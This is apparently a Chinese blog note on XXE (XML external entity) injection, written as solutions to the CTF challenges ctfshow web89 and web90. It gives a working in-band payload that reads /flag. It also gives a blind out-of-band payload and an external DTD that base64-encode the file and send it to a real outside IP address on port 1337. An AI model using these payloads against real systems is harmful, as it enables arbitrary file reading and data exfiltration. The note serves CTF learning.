【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用

XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父 3个叔父 8个堂弟堂妹

<祖父>

<叔父1>

<堂兄1>

</叔父1>

<叔父2>

<堂兄2>

</叔父2>

<叔父3>

<堂兄3>

</叔父4>

</祖父>

xml格式

1 有回显时文件读取方法

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY hacker SYSTEM "file:///flag">

]>

<root>

<ctfshow>

&hacker;

</ctfshow>

</root>

例题1 web89

post传:

复制代码
<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

无回显点,考虑数据外带

post传

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd">

%myurl;

]>

<root>

1

</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">

%dtd;

%vps;

vps监听1337端口即可

相关推荐
向哆哆1 小时前
Java 安全:如何防止 DDoS 攻击?
java·安全·ddos
晓数1 小时前
【硬核干货】JetBrains AI Assistant 干货笔记
人工智能·笔记·jetbrains·ai assistant
我的golang之路果然有问题2 小时前
速成GO访问sql,个人笔记
经验分享·笔记·后端·sql·golang·go·database
lwewan2 小时前
26考研——存储系统(3)
c语言·笔记·考研
星哥说事2 小时前
使用开源免费雷池WAF防火墙,接入保护你的网站
web安全·开源
浩浩测试一下2 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
搞机小能手2 小时前
六个能够白嫖学习资料的网站
笔记·学习·分类
nongcunqq3 小时前
爬虫练习 js 逆向
笔记·爬虫
汐汐咯3 小时前
终端运行java出现???
笔记
无敌小茶5 小时前
Linux学习笔记之环境变量
linux·笔记